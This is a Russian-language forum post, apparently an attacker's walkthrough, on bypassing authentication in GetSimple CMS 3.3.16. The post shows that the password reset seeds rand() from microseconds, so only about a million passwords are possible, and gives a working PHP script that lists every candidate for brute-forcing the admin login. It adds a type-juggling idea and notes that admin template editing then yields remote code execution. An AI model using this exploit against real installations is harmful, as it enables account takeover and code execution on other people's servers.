Играем в "Предсказателя" с GetSimple CMS
MatrizСайт - get-simple.info
Версия 3.3.16 - Latest Stable Version.
Интернеты говорят вот так:
В админке имеем возможность редактирования шаблонов - php файлы.
Удаляем стопер, пишем phpinfo и у нас RCE)
Осталось теперь как-то попасть в эту самую админку.
Auth bypass или предсказываем значение rand()
Система использует xml файлы для хранения данных, скулей не увидим.
Посмотрим на то как проходит аутентификация.
admin/inc/login_functions.php
PHP:
if ( ($userid == $USR) && ($password == $PASSWD) ) {
$authenticated = true;
Слабое сравнение(type jugling), но:
1) GetSimple использует sha1, брутить слишком много вариантов
2) Юзер == админ, поэтому их количество будет не большим)
3) Нужный юзер скорее всего имеет пароль отличный от необходимого нам диапозона
С одной стороны вроде как и нет баги. С другой, если мы заглянем на страницу
восстановления пароля, увидим, что этот процесс происходит таким образом:
1) Запрос на восстановление
2) Смена пароля
3) Отправка нового пароля на email
На email не отправляется линк на смену пароля, пароль меняется и отправляется на почту.
Отсюда можно решить 2 и 3 проблемы таким способом:
-- отправляем на аутентификацию всегда пароль, хэш которого 0e[0-9]{38} - например aaK1STfY
-- расстреливаем запросами на смену пароля
Но проблема слишком большого количества вариантов мешает получить сколько-нибудь
значимые результаты. Плюс ко всему, ситуация ослажняется вот этим:
admin/resetpassword.php
PHP:
...
$randSleep = rand(250000,2000000); // random sleep for .25 to 2 seconds
...
usleep($randSleep);
...
Но раз в нашем случае мы можем поменять пароль, посмотрим что это за пароль и
как он генерируется:
admin/inc/template_functions.php
PHP:
function createRandomPassword() {
$chars = "Ayz23mFGHBxPQefgnopRScdqrTU4CXYZabstuDEhijkIJKMNVWvw56789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 5) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
Вот тут мы имеем два момента.
Первый -- Что генерируется и как проверяется?
Генерируется 6-символьный пароль. Имеем type jugling.
Для брута sha1, учитывая время на создание нового пасса и sleep, наши 13ккк
будем брутить очень долго. А вот 6 символьный вариант 0eXXXX будет попадаться
в среднем на каждые 2,5кк запросов смены пароля для [a-zA-Z0-9]{6}.
Все равно долго...
Да и хитрые разрабы предусмотрели этот вариант - в нашем диапозоне не 62 символа,
как должно быть для [a-zA-Z0-9]{6}, а 57 и нашего нолика тут как раз и не хватает))
Второй -- Как генерируется?
Собсна сама бага.
Функция rand() генерирует псевдослучайное число. И, если мы знаем начальное
число генератора псевдослучайных чисел, мы можем узнать это псевдослучайное число.
И не только его. Мы можем проследить всю цепь чисел, которые генерятся
функцией rand, так как все последующие числа предсказуемы. Значит мы можем
выявить все символы в новом пароле сгенеренные функцией rand.
А сколько их, этих начальных чисел? На nix(php-7.3) у меня выплюнул 2kkk результатов.
Т.е. два миллиарда полных вариантов пароля, а вот для win:
Но разрабы решили вписать свое число. Оно устанавливается функцией srand.
Что в ней происходит?
Из текущей метки времени Unix с микросекундами берутся именно микросекунды
и умножаются на 1кк - именно столько вариантов у нас для брута, микросекунды
float 0.XXXXXX, поэтому целочисленное значение у нас никогда не будет больше
одного миллиона.
Для атаки на потребуется лишь один раз запросить смену пароля, а потом
пробрутить наши 1 миллион паролей - дело 20 минут.
Генерируем список вариантов возможных паролей:
PHP:
$chars = "Ayz23mFGHBxPQefgnopRScdqrTU4CXYZabstuDEhijkIJKMNVWvw56789";
for($i = 0;$i <= 999999; $i++){
srand($i);
$n = 0;
$pass = '';
while ($n <= 5) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$n++;
}
echo "$pass\n";
}
Тестанул - 10 из 10, Auth bypas